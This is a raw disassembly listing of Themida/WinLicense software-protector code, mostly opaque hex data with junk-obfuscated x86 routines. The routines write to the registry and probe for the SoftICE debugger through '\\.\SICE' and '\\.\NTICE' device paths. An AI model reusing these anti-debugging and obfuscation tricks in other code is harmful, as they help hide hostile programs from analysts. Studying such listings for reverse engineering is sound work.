		dd 14D63028h, 44904B71h, 0B79FE7B4h, 72F63CFCh,	0FC760029h
		dd 7326D53Bh, 0B1E092F7h, 3D17CA0Dh, 8740084Dh,	537C2FA3h
		dd 2A3BFC76h, 0B1B31741h, 0F75FCFB9h, 0AE060392h, 2C2C7FFBh
		dd 0E33217F3h, 2A5F3238h, 0B29E6DEDh, 0FDBAC3A6h, 0ECD2F99Fh
		dd 68D2857Fh, 0AF8B4475h, 0D955D3FCh, 97C1AA46h, 70A9DE33h
		dd 0AC5F7EAh, 0DA6C6DDEh, 0AE40E409h, 5C0h, 0DB8F4873h
		dd 0A317D0E6h, 2F9B5C6Eh, 0AA60D9EAh, 34E62157h, 0EB9D07FBh
		dd 70077A30h, 0F98EC3B7h, 45774A00h, 0A733D08Ah, 0F9DACBF4h
		dd 0B7F7A23Bh, 42C80349h, 78E25D6Fh, 0B068CA73h, 46DFA980h
		dd 62174AF0h, 3CC86BA5h, 44776D2h, 0B19B5C61h, 0FFFEE08Fh
		dd 0D4A8FFFFh, 0DFAB5E87h, 8443746h, 84369B21h,	457712C3h
		dd 0D588CDD1h, 406C3F4h, 0CC64437h, 0E35C6C4Ch,	19219467h
		dd 0FC00DA52h, 0EC5E4D3Ch, 0A6848246h, 1925A1F5h, 51791C32h
		dd 0BD6EBA96h, 29E20E9Dh, 0E11E46DFh, 55D26B7Dh, 0AAD64776h
		dd 0C6000001h, 0DE9A529Ch, 2668CBE8h, 75287B71h, 2CED90F5h
		dd 0C6014B2Eh, 0C804F744h, 369F5B00h, 0DFE3CFCh, 802BAF2Bh
		dd 3BFC6657h, 10137D2Eh, 63224A3Ch, 0FF7BCD8Dh,	0C36344ACh
		dd 2477CB69h, 6D0542FBh, 0D8E029D2h, 0C410FB1Fh, 0F21B40E4h
		dd 0CB6D0542h, 0A8CD6D20h, 570426E3h, 6D05432Eh, 10381407h
		dd 0A2C79652h, 0CE3DDD16h, 54392BBh, 5B806B6Dh,	0E16AF037h
		dd 9B5F0C2Eh, 0F2632249h, 3C4C2109h, 863217C3h,	6918134Dh
		dd 0EB0FDD0Dh, 48735h, 568F3A00h, 0DE19A1E4h, 0A265296Ch
		dd 27E095E8h, 0AD6E1E73h, 4440B2FDh, 0CE03F730h, 498C7EBFh
		dd 3E13C700h, 6A99518Ah, 0DA92BBE0h, 8E6B3BF9h,	0A4A2A678h
		dd 5F5ED586h, 9B1F3CFBh, 0F9DEA7D0h, 4C8D7E3Bh,	9595FF38h
		dd 0BBC044E6h, 3764AF50h, 3BFAA70Eh, 0CDC134E7h, 614884A7h
		dd 0D62B9F58h, 6EE268A1h, 2E98C1EAh, 0BE6D3BFAh, 9A556752h
		dd 0B993C1AEh, 2A45814h, 40Ch, 6FDB14A7h, 0F7A39C2Ah, 7327E092h
		dd 0FEAC6D1Eh, 7832F59Bh, 0BFC1BB2Fh, 44B8E7Ch,	853217C3h
		dd 11BB9E4Ch, 6BEF64D6h, 0F9DA1740h, 0FB33EE3Bh, 478035A8h
		dd 0A39C2C0Dh, 1AD3E287h, 23461A3Eh, 1A7F599Eh,	5E99236Eh
		dd 7E9C4FBCh, 7D6EF06Dh, 0AB89B2F9h, 0AF5C46DFh, 0A9124265h
		dd 0F84246DFh, 0DD37F085h, 76D28E3Ah, 72C9B247h, 0BE2FAD97h
		dd 0B7701942h, 0DA6CA893h, 0FFFFFD05h, 0C80349CAh, 0C28BEE62h
		dd 0E3360505h, 46DFAABAh, 8CACE893h, 260402C6h,	0FC920975h
		dd 0C3B7643Ch, 91599CBBh, 0A0CB6FD9h, 3CFC8FE4h, 8647766Bh
		dd 4D5DB784h, 0A2C99A5Eh, 0BB93E5DEh, 0DDE1B0C6h, 580BF01Ah
		dd 0BAE149B2h, 0A3EB3C91h, 935DB764h, 0A2C971D7h, 9A084D3Ah
		dd 78FC1E0Dh, 90BA7505h, 0E3E761ABh, 2C41C565h,	4483379Eh
		dd 568275C6h, 0E5539155h, 2B0FFC94h, 0E8B72457h, 0D57B5C6Ah
		dd 31EA9EFBh, 0E6235409h, 0CDBD9764h, 7C87C088h, 9F79AFBFh
		dd 92A85FB4h, 4E010170h, 0CCBF780Dh, 0C8358D90h, 0CE6084ACh
		dd 2E4h, 7F32C5Fh, 8F7BB4C2h, 0BFF384Ah, 96448536h, 10CA0DB3h
		dd 0D7F9E317h, 5C63A614h, 0DDEA2F9Bh, 2953B664h, 43173CEEh
		dd 0F9D7EF18h, 0D3DBC63Bh, 86A4A2A6h, 0FB5F7CD5h, 0A17A013Ch
		dd 1B4417AAh, 0F23BFAA1h, 5E5CD609h, 0FCAFFBD5h, 1891FA7Eh
		dd 27BAD719h, 9BE9BF5h,	0C5966AD0h, 3BFA8E9Ch, 0FA4E8A71h
		dd 1EB9F687h, 74B3C7B7h, 0ACFBE501h, 4C7C51F9h,	0F03CA993h
		dd 32714B9h, 2636Dh, 72ABDE00h,	0FA3545B8h, 7EB9CD00h
		dd 0C304498Ch, 49823217h, 78649691h, 0E2279354h, 6DA01AD3h
		dd 0D237E35Ch, 96BD6DA6h, 0D86E97C4h, 5A473BF9h, 0A4A2A64Ch
		dd 5F7CD586h, 5DD13CFBh, 42559238h, 3BF9DE19h, 0EE4C3FECh
		dd 0D701C68Bh, 0E15A6E03h, 0C1902459h, 6FDC7EB9h, 74E850BCh
		dd 0DE82ABF0h, 586A3BF9h, 7A907B9Fh, 5B075E91h,	65B94C8Ah
		dd 0D82E212Bh, 0A4CD9E12h, 793BFA1Dh, 0E9B24692h, 3BFA1CB6h
		dd 0B6EEC9Fh, 0C4988245h, 1CF21B40h, 49EC3BFAh,	3E035C6Fh
		dd 0CD07F406h, 0D3285327h, 30E6CE2Fh, 2468418Bh, 483337E3h
		dd 0AB373AFAh, 0A0AAE620h, 0CA9159ADh, 3BFA9599h, 0B873197Ch
		dd 5C60A992h, 0D98C7F9Bh, 0F32C5C31h, 0B0D8B957h, 0FC8DDCE1h
		dd 41340703h, 632972D9h, 2105F5A8h, 94D5FEADh, 708F3BFAh
		dd 705FBBA0h, 0F285F812h, 2F0A4639h, 10B8A29Dh,	0D7A4A0BAh
		dd 0FDC9BBD6h, 0AD58B404h, 60DBE101h, 0EA2557AAh, 0C789EC60h
		dd 0DFE1C804h, 0F79BFE1Ch, 5B72A30h, 0C84140CAh, 0D366566h
		dd 0E03BFA9Fh, 5999483Bh, 99A21832h, 0AE74B63Dh, 0E230639Dh
		dd 88458F81h, 7BB4C426h, 0C13A4A8Fh, 8DB6E579h,	603BFA70h
		dd 11B951BBh, 0DA17A4BBh, 0EE295D30h, 42EC256Ch, 6714D036h
		dd 6F83E568h, 0A1CF025Fh, 0E32ACCD9h, 0F67895FFh, 8B316014h
		dd 8E41CA50h, 14D7F9DCh, 2DEA93F6h, 0E522680Dh,	9EBA9665h
		dd 52B43E17h, 2C41E922h, 0CFBC5E9Bh, 0F2C9F6A6h, 9EFAADD0h
		dd 6AA5D72Ah, 41096CE0h, 5DB78486h, 8747DF4Ah, 0D092AB83h
		dd 99518A3Eh, 41663645h, 613E2E5Bh, 7DB6C237h, 13D4F8DDh
		dd 0CB04B2D7h, 0C77C6981h, 6C18B1Bh, 0D2FBA024h, 0AB944917h
		dd 303494C0h, 5378295Dh, 0D5E62396h, 0ABD13814h, 6018EA70h
		dd 6D543466h, 544B9124h, 22897EDh, 0FD7D30E3h, 6639A6AEh
		dd 0A892798Ah, 14A8535h, 0AB90BA7Dh, 8F4B9961h,	0D7EAB1B9h
		dd 0BE8485EDh, 47086DCDh, 59B39882h, 73ACDCB1h,	0FD364287h
		dd 0B475187Dh, 5264A596h, 4A867595h, 0D534FDAEh, 0D3706119h
		dd 12CDFF0Fh, 9C576558h, 50973B5Eh, 0CCF1D404h,	89860F0Bh
		dd 0EAB7C525h, 0FDAD60D9h, 1337F098h, 37Dh, 0E0C82900h
		dd 41C90249h, 67E35C6Ch, 9EBC7502h, 0B753943Bh,	0E169A2D2h
		dd 1B3FF88Ch, 36D415A6h, 62E82F53h, 9A807F0Fh
		db 0B9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	29CDh
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	0AE5CDD0h
		mov	edi, [esp]
		add	esp, 4
		push	589Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	6806h
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, eax
		mov	[ebx], edi
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		db 0E3h, 0FCh, 3Eh
; ---------------------------------------------------------------------------


loc_5AFB8F:				; CODE XREF: Themida_:loc_5AF277j
		mov	eax, 0AE5D61Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 6CA612EAh, 28F8CC7Bh, 8A6BD77h, 673FB789h, 1485E8DCh
		dd 32E44508h, 277F5203h, 428BD1B3h, 11E8h, 0A27FA900h
		dd 3862A4F9h, 3EAA478Bh, 4AAB5AD4h, 840FE6DFh, 19h, 14E9h
		dd 5BE36700h, 1BD83412h, 6B2B7F68h, 9F4766FCh, 759DE164h
		dd 0CA8B580Ah, 59F5C081h, 0CE90000h, 0F6000000h, 3A7CC040h
		dd 1C8A2970h, 680B1B89h, 164Dh,	850F5Bh, 8B000000h, 0EE81F830h
		dd 5282B7BDh, 5867E181h, 0C6815469h, 55B6D484h,	81D7BF0Fh
		dd 8C97D2EEh, 0F556F93Ch, 0F9BA008Fh, 81508035h, 303AFEE8h
		dd 59F55737h, 3AFAC081h, 0BF663730h, 0EB81FD6Dh, 1, 12850Fh
		dd 81660000h, 0E93F06C9h, 1Eh, 0DF77A139h, 2CA0FC0Dh, 0A0E98DB6h
		dd 0FFFFFFh, 834E294Ch,	50A51E0Eh, 44D2059Eh, 8DE93026h
		dd 60000000h, 3161BD83h, 0F000AE3h, 584h, 78E900h, 6A0000h
		dd 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h, 8850Fh
		dd 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
		dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 15E9h
		dd 45858D00h, 900AE309h, 89509050h, 6A2434h, 1F5595FFh
		dd 0C3610AE3h, 1CF185C6h, 684D0AE3h, 0BC225C68h, 0C0243481h
		dd 0FF18172Ah, 0E33565B5h, 0F9858D0Ah, 0FF0AE33Ah, 558589D0h
		dd 0E90AE31Fh, 0AAh, 74666F53h,	65726177h, 6E69575Ch, 6563694Ch
		dd 65736Eh, 63656843h, 4E496Bh,	6F727058h, 69784574h, 68430074h
		dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h
		dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h
		dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh
		dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h
		dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h
		dd 54554F74h, 49705400h, 4Eh, 2	dup(0)
		dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 0E5D8E885h
		dd 0E4858D0Ah, 500AE5D8h, 0D84E858Dh, 68500AE5h, 80000001h
		dd 0D8F495FFh, 196A0AE5h, 0D8E8B5FFh, 16A0AE5h,	858D006Ah
		dd 0AE5D87Dh, 0E4B5FF50h, 0FF0AE5D8h, 0E31B8195h, 0E4B5FF0Ah
		dd 0FF0AE5D8h, 0E5D8F095h, 0E4B5FF0Ah, 0FF0AE5D8h, 0E31A9195h
		dd 8589C30Ah, 0AE5D8E8h, 0D8E4858Dh, 8D500AE5h,	0E5D84E85h
		dd 168500Ah, 0FF800000h, 0E5D8F495h, 8D046A0Ah,	0E5D8E885h
		dd 46A500Ah, 858D006Ah,	0AE5D8A7h, 0E4B5FF50h, 0FF0AE5D8h
		dd 0E31B8195h, 0E4B5FF0Ah, 0FF0AE5D8h, 0E5D8F095h, 0E4B5FF0Ah
		dd 0FF0AE5D8h, 0E31A9195h, 8589C30Ah, 0AE5D8E8h, 0D8E4858Dh
		dd 8D500AE5h, 0E5D84E85h, 168500Ah, 0FF800000h,	0E5D8F495h
		dd 8D046A0Ah, 0E5D8E885h, 46A500Ah, 858D006Ah, 0AE5D88Fh
		dd 0E4B5FF50h, 0FF0AE5D8h, 0E31B8195h, 0E4B5FF0Ah, 0FF0AE5D8h
		dd 0E5D8F095h, 0E4B5FF0Ah, 0FF0AE5D8h, 0E31A9195h, 8589C30Ah
		dd 0AE5D8E8h, 0D8E4858Dh, 8D500AE5h, 0E5D84E85h, 168500Ah
		dd 0FF800000h, 0E5D8F495h, 8D046A0Ah, 0E5D8E885h, 46A500Ah
		dd 858D006Ah, 0AE5D8BAh, 0E4B5FF50h, 0FF0AE5D8h, 0E31B8195h
		dd 0E4B5FF0Ah, 0FF0AE5D8h, 0E5D8F095h, 0E4B5FF0Ah, 0FF0AE5D8h
		dd 0E31A9195h, 8589C30Ah, 0AE5D8E8h, 0D8E4858Dh, 8D500AE5h
		dd 0E5D84E85h, 168500Ah, 0FF800000h, 0E5D8F495h, 8D046A0Ah
		dd 0E5D8E885h, 46A500Ah, 858D006Ah, 0AE5D86Ah, 0E4B5FF50h
		dd 0FF0AE5D8h, 0E31B8195h, 0E4B5FF0Ah, 0FF0AE5D8h, 0E5D8F095h
		dd 0E4B5FF0Ah, 0FF0AE5D8h, 0E31A9195h, 0BD83C30Ah, 0AE316F9h
		dd 0B840F00h, 8B000000h, 0E316F99Dh, 4CC3830Ah,	83C30389h
		dd 0E316F9BDh, 840F000Ah, 0Bh, 16F99D8Bh, 0C3830AE3h, 0C3038950h
		dd 16F9BD83h, 0F000AE3h, 0B84h,	0F99D8B00h, 830AE316h
		dd 38954C3h, 0F9BD83C3h, 0AE316h, 0B840Fh, 9D8B0000h, 0AE316F9h
		dd 8958C383h, 0BD83C303h, 0AE316F9h, 0B840F00h,	8B000000h
		dd 0E316F99Dh, 5CC3830Ah, 0C3C30389h, 0E8858960h, 8D0AE5D8h
		dd 0E5D8E485h, 858D500Ah, 0AE5D84Eh, 16850h, 95FF8000h
		dd 0AE5D8F4h, 858D046Ah, 0AE5D8E8h, 6A046A50h, 0DF858D00h
		dd 500AE5D8h, 0D8E4B5FFh, 95FF0AE5h, 0AE31B81h,	2569BD83h
		dd 0F000AE3h, 0C84h, 0E4B5FF00h, 0FF0AE5D8h, 0E5D8F095h
		dd 0E4B5FF0Ah, 0FF0AE5D8h, 0E31A9195h, 60C3610Ah, 0D8E88589h
		dd 858D0AE5h, 0AE5D8E4h, 4E858D50h, 500AE5D8h, 168h, 0F495FF80h
		dd 6A0AE5D8h, 0E8858D04h, 500AE5D8h, 6A046Ah, 0D8C1858Dh
		dd 0FF500AE5h, 0E5D8E4B5h, 8195FF0Ah, 830AE31Bh, 0E32569BDh
		dd 840F000Ah, 0Ch, 0D8E4B5FFh, 95FF0AE5h, 0AE5D8F0h, 0D8E4B5FFh
		dd 95FF0AE5h, 0AE31A91h, 8960C361h, 0E5D8E885h,	0E4858D0Ah
		dd 500AE5D8h, 0D84E858Dh, 68500AE5h, 80000001h,	0D8F495FFh
		dd 46A0AE5h, 0D8E8858Dh, 6A500AE5h, 8D006A04h, 0E5D8C885h
		dd 0B5FF500Ah, 0AE5D8E4h, 1B8195FFh, 0BD830AE3h, 0AE32569h
		dd 0C840F00h, 0FF000000h, 0E5D8E4B5h, 0F095FF0Ah, 0FF0AE5D8h
		dd 0E5D8E4B5h, 9195FF0Ah, 610AE31Ah, 858960C3h,	0AE5D8E8h
		dd 0D8E4858Dh, 8D500AE5h, 0E5D84E85h, 168500Ah,	0FF800000h
		dd 0E5D8F495h, 8D046A0Ah, 0E5D8E885h, 46A500Ah,	858D006Ah
		dd 0AE5D8D0h, 0E4B5FF50h, 0FF0AE5D8h, 0E31B8195h, 69BD830Ah
		dd 0AE325h, 0C840Fh, 0B5FF0000h, 0AE5D8E4h, 0D8F095FFh
		dd 0B5FF0AE5h, 0AE5D8E4h, 1A9195FFh, 0C3610AE3h, 0E8858960h
		dd 8D0AE5D8h, 0E5D8E485h, 858D500Ah, 0AE5D84Eh,	16850h
		dd 95FF8000h, 0AE5D8F4h, 858D046Ah, 0AE5D8E8h, 6A046A50h
		dd 0D7858D00h, 500AE5D8h, 0D8E4B5FFh, 95FF0AE5h, 0AE31B81h
		dd 2569BD83h, 0F000AE3h, 0C84h,	0E4B5FF00h, 0FF0AE5D8h
		dd 0E5D8F095h, 0E4B5FF0Ah, 0FF0AE5D8h, 0E31A9195h, 60C3610Ah
		dd 0D8E885C7h, 10AE5h, 858D0000h, 0AE5D8E4h, 4E858D50h
		dd 500AE5D8h, 268h, 0F495FF80h,	0B0AE5D8h, 0F840FC0h, 0C7000000h
		dd 0E5D8E885h, 0Ah, 4DE900h, 46A0000h, 0D8E8858Dh, 6A500AE5h
		dd 8D006A04h, 0E5D86285h, 0B5FF500Ah, 0AE5D8E4h, 1B8195FFh
		dd 0C00B0AE3h, 0F840Fh,	85C70000h, 0AE5D8E8h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5B02A3
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+0AE5D8E8h], 1


loc_5B02A3:				; CODE XREF: Themida_:005B0294j
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE31A91h]
		popa
		mov	eax, [ebp+0AE5D8E8h]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+0AE5D8E8h], eax
		lea	eax, [ebp+0AE5D8E4h]
		push	eax
		lea	eax, [ebp+0AE5D84Eh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+0AE5D8F4h]
		push	4
		lea	eax, [ebp+0AE5D8E8h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+0AE5D862h]
		push	eax
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE31B81h]
		cmp	dword ptr [ebp+0AE32569h], 0
		jz	loc_5B0310
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE5D8F0h]


loc_5B0310:				; CODE XREF: Themida_:005B02FEj
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE31A91h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+0AE5D8E8h], eax
		lea	eax, [ebp+0AE5D8E4h]
		push	eax
		lea	eax, [ebp+0AE5D84Eh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+0AE5D8F4h]
		push	4
		lea	eax, [ebp+0AE5D8E8h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+0AE5D874h]
		push	eax
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE31B81h]
		cmp	dword ptr [ebp+0AE32569h], 0
		jz	loc_5B0377
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE5D8F0h]


loc_5B0377:				; CODE XREF: Themida_:005B0365j
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE31A91h]
		popa
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+0AE31CF1h], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+0AE304B5h]
		call	dword ptr [ebp+0AE32D59h]
		mov	[ebp+0AE5D8F4h], eax
		mov	byte ptr [ebp+0AE31CF1h], 52h
		push	902E00E5h
		push	dword ptr [ebp+0AE304B5h]
		call	dword ptr [ebp+0AE32D59h]
		mov	[ebp+0AE5D8F0h], eax
		mov	byte ptr [ebp+0AE31CF1h], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+0AE304B5h]
		call	dword ptr [ebp+0AE32D59h]
		mov	[ebp+0AE31B81h], eax
		mov	byte ptr [ebp+0AE31CF1h], 52h
		push	98781034h
		push	dword ptr [ebp+0AE304B5h]
		call	dword ptr [ebp+0AE32D59h]
		mov	[ebp+0AE31A91h], eax
		mov	byte ptr [ebp+0AE31CF1h], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+0AE304B5h]
		call	dword ptr [ebp+0AE32D59h]
		mov	[ebp+0AE32C79h], eax
		jmp	short loc_5B043B
; ---------------------------------------------------------------------------
		db 2 dup(5Ch), 2Eh
		dd 4349535Ch, 5C5C0045h, 49535C2Eh, 44495657h, 2E5C5C00h
		dd 49544E5Ch
		db 43h,	45h, 0
; ---------------------------------------------------------------------------


loc_5B043B:				; CODE XREF: Themida_:005B041Bj
		mov	eax, eax
		mov	edi, [ebp+0AE32145h]
		pusha
		mov	[ebp+0AE303A5h], edi
		popa
		cmp	dword ptr [ebp+0AE32569h], 0
		jnz	short loc_5B045D
		cmp	dword ptr [ebp+0AE3198Dh], 0 ; CODE XREF: Themida_:005B04D0j
		jz	short loc_5B0476


loc_5B045D:				; CODE XREF: Themida_:005B0452j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+0AE32D95h], eax
		lea	ebx, [ebp+0AE5DDC5h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B0476:				; CODE XREF: Themida_:005B045Bj
		cmp	dword ptr [ebp+0AE3198Dh], 0
		jz	short loc_5B0496
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+0AE32D95h], eax
		lea	ebx, [ebp+0AE5DAB4h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B0496:				; CODE XREF: Themida_:005B047Dj
		mov	[ebp+0AE3051Dh], esi
		and	ecx, [ebp+0AE3024Dh]
		jmp	loc_5B04B4
; ---------------------------------------------------------------------------
		db 97h
		dd 0D5459E0h, 0C1338813h, 0C868EDDh
; ---------------------------------------------------------------------------


loc_5B04B4:				; CODE XREF: Themida_:005B04A2j
		mov	eax, eax
		movzx	ecx, bx
		mov	byte ptr [ebp+0AE31CF1h], 43h
		xor	edx, 28955050h
		push	7E39416Ch
		call	near ptr loc_5B04D7+2
		jle	short near ptr loc_5B0454+4
		jl	short $+2
		scasb
		pop	edi
		lodsb


loc_5B04D7:				; CODE XREF: Themida_:005B04CBp
		adc	eax, 5A1FB5CEh
		add	dword ptr [esp], 3E552D90h
		push	0
		push	ecx
		call	sub_5B04EE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B04EE	proc near		; CODE XREF: Themida_:005B04E6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5B04EE	endp

; ---------------------------------------------------------------------------
		test	ch, dh
		jb	short loc_5B0546
		mov	byte ptr [edx-14h], 1
		push	dword ptr [ebp+0AE33145h]
		push	0
		push	ebp
		call	sub_5B0517
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0517	proc near		; CODE XREF: Themida_:005B050Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B0517	endp

; ---------------------------------------------------------------------------
		db 0FDh
		dd 0F9858D33h, 660AE33Ah, 8FA3DA81h, 11E9D0FFh,	0CB000000h
		dd 721D8F40h, 0E1B23C91h
; ---------------------------------------------------------------------------
		and	esp, [esi]


loc_5B0546:				; CODE XREF: Themida_:005B0500j
		adc	eax, 0D2E35080h
		adc	byte ptr [eax+66h], 8Bh
		sti
		mov	[esp], eax
		cmc
		push	0
		sub	[ebp+0AE30579h], esi
		pusha
		jnz	loc_5B0566
		adc	dl, 0A3h


loc_5B0566:				; CODE XREF: Themida_:005B055Dj
		movzx	ebx, si
		popa
		push	0AFA29C1h
		mov	edi, eax
		xor	dword ptr [esp], 0AFA2941h
		push	3
		sub	di, 0C53Ah
		push	0
		push	0
		push	ebp
		call	sub_5B058C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B058C	proc near		; CODE XREF: Themida_:005B0584p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5B058C	endp

; ---------------------------------------------------------------------------
		dd 0BAFA8814h, 54F06D3Ch, 36AD56Ah, 4E8h, 0
		dd 505250C0h, 0F525052h, 2 dup(0F585A31h), 0BE85331h, 0DD000000h
		dd 0FFAD020Dh, 0D81B6857h, 5F5A0DA8h, 5050585Ah, 2BBF6652h
		dd 50310FF3h, 0F5A5652h, 0F525031h, 5A585A31h, 8B585A58h
		dd 8B042444h, 24448900h, 2DB96604h, 8166587Eh, 8DD3CFD9h
		dd 0E5DF2B9Dh, 0CD958B0Ah, 500AE331h, 13E9h, 326C5F00h
		dd 0C2375D03h, 7139A374h, 0B0739AA4h, 2E049393h, 29241C89h
		dd 0E3264D85h, 29D0FF0Ah, 0E31BD585h, 0ED8D330Ah, 400AE320h
		dd 20C850Fh, 958B0000h,	0AE32289h, 0E68158h, 891AC270h
		dd 0E33515BDh, 0E853500Ah, 0Ah,	68312D3Eh, 9C058825h, 4FBFB11Dh
		dd 591D4EE1h, 2404895Fh, 0DE96051h, 0B6000000h,	0BC7346F4h
		dd 0F3EF73C7h, 0D4BEBD45h, 0AE9h, 0EEF97C00h, 0A3132E4Dh
		dd 6152D54Eh, 8B006A59h, 0E3028195h, 4E80Ah, 800000h, 0BF500000h
		dd 72EA450Bh, 424448Bh,	4489008Bh, 89580424h, 0E315D5BDh
		dd 0C1C2810Ah, 6A7EC28Ah, 6AF28B03h, 0EE816600h, 36A4892h
		dd 2DB50160h, 0B50AE316h, 9A686154h, 0F9A90D0h,	1789h
		dd 8E0F6000h, 0
; ---------------------------------------------------------------------------
		call	near ptr loc_5B06FD+1
		adc	[ecx+ebp*2+61DCB056h], ebx
		pop	ebx


loc_5B06FD:				; CODE XREF: Themida_:005B06F0p
		or	[esi+61h], bl
		add	dword ptr [esp], 256F2F66h
		mov	[ebp+0AE31FC1h], eax
		lea	ebx, [ebp+0AE5DF34h]
		mov	edx, edi
		xchg	eax, ebx
		mov	di, dx
		push	eax
		mov	esi, 26DF0C35h
		xchg	eax, ebx
		push	0
		push	ebp
		call	sub_5B072B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B072B	proc near		; CODE XREF: Themida_:005B0723p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5B072B	endp

; ---------------------------------------------------------------------------
		db 0E5h
		dd 8681B21Ch, 0BB6707CDh, 0FFCE8B66h, 4042B2D0h, 100850Fh
		dd 0BD010000h, 0AE30199h, 0B9BD8B58h, 500AE334h, 4896160h
		dd 0CA816624h, 6A78EFh,	0E0816660h, 8D03338Dh, 0AE31DE1h
		dd 4E861h, 800000h, 0BA660000h,	50501BE5h, 12E85252h, 0BC000000h
		dd 5FA95B9h, 64444836h,	66B6BA34h, 222E5AE9h, 0F5A5903h
		dd 8B585A31h, 8B042444h, 9129BA00h, 44896870h, 8B660424h
		dd 36A58F7h, 68F0Fh, 0BD8B0000h, 0AE32931h, 1BF9BD0Bh
		dd 6A0AE3h, 35D78166h, 68036A66h, 0FA1D1902h, 51605250h
		dd 5ABF6658h, 310F6138h, 5A28BA66h, 3481585Ah, 1D190224h
		dd 3F9D8D3Ah, 660AE5DFh, 504138BEh, 0DE9h, 90ED8500h, 6B4CDA7Eh
		dd 0CB8A9E8Fh, 1C89B256h, 0E5D6B924h, 0D0FF5D7Ch, 11F5BD8Bh
		dd 8B600AE3h, 0F28B66CBh, 850F4061h, 22h, 2E399509h, 0E9580AE3h
		dd 11h,	0F0C6E29Dh, 95796477h, 7C9AFF3Ah, 7FB40654h, 0DFE987h
		dd 0D88B0000h, 2CADBD0Bh, 0E84B0AE3h, 6, 8307E97Dh, 0BD2B4391h
		dd 0AE30479h, 0EA815859h, 54CEE835h, 19699501h,	85C60AE3h
		dd 0AE31CF1h, 0E9B58943h, 0E80AE317h, 4, 0C0764AA7h, 6EBA6660h
		dd 61F48AE0h, 8BCB8B50h, 8B042444h, 50008BFAh, 66525052h
		dd 310FF98Bh, 0B7AEBE66h, 310F585Ah, 4489585Ah,	880F0424h
		dd 1Eh,	0AE8h, 67C4C00h, 8177032Ch, 0E8B85191h,	8, 8EBADCD3h
		dd 0B8295E25h, 8B585E5Fh, 0E315C595h, 45B5FF0Ah, 8B0AE331h
		dd 0E3313DB5h, 0F9858D0Ah, 520AE33Ah, 59C9BF0Fh, 0BD8BD0FFh
		dd 0AE326A5h, 0D6B96650h, 241C8959h, 346DB589h,	0D0FF0AE3h
		dd 72049D8Dh, 0FF90AE3h, 1B8D0B7h, 31000000h, 0E32F8985h
		dd 2BE3FF0Ah, 0E31FCDBDh, 81C18B0Ah, 1E1AD9D2h,	599D893Eh
		dd 8B0AE31Ch, 159589C0h, 8B0AE32Dh, 69BD83F2h, 0AE325h
		dd 0BD830975h, 0AE3198Dh, 50197400h, 0B8C08B53h, 40Fh
		dd 2F198589h, 9D8D0AE3h, 0AE5DE2Ch, 585BD3FFh, 198DBD83h
		dd 74000AE3h, 0B8535017h, 40Fh,	2F198589h, 9D8D0AE3h, 0AE5DACDh
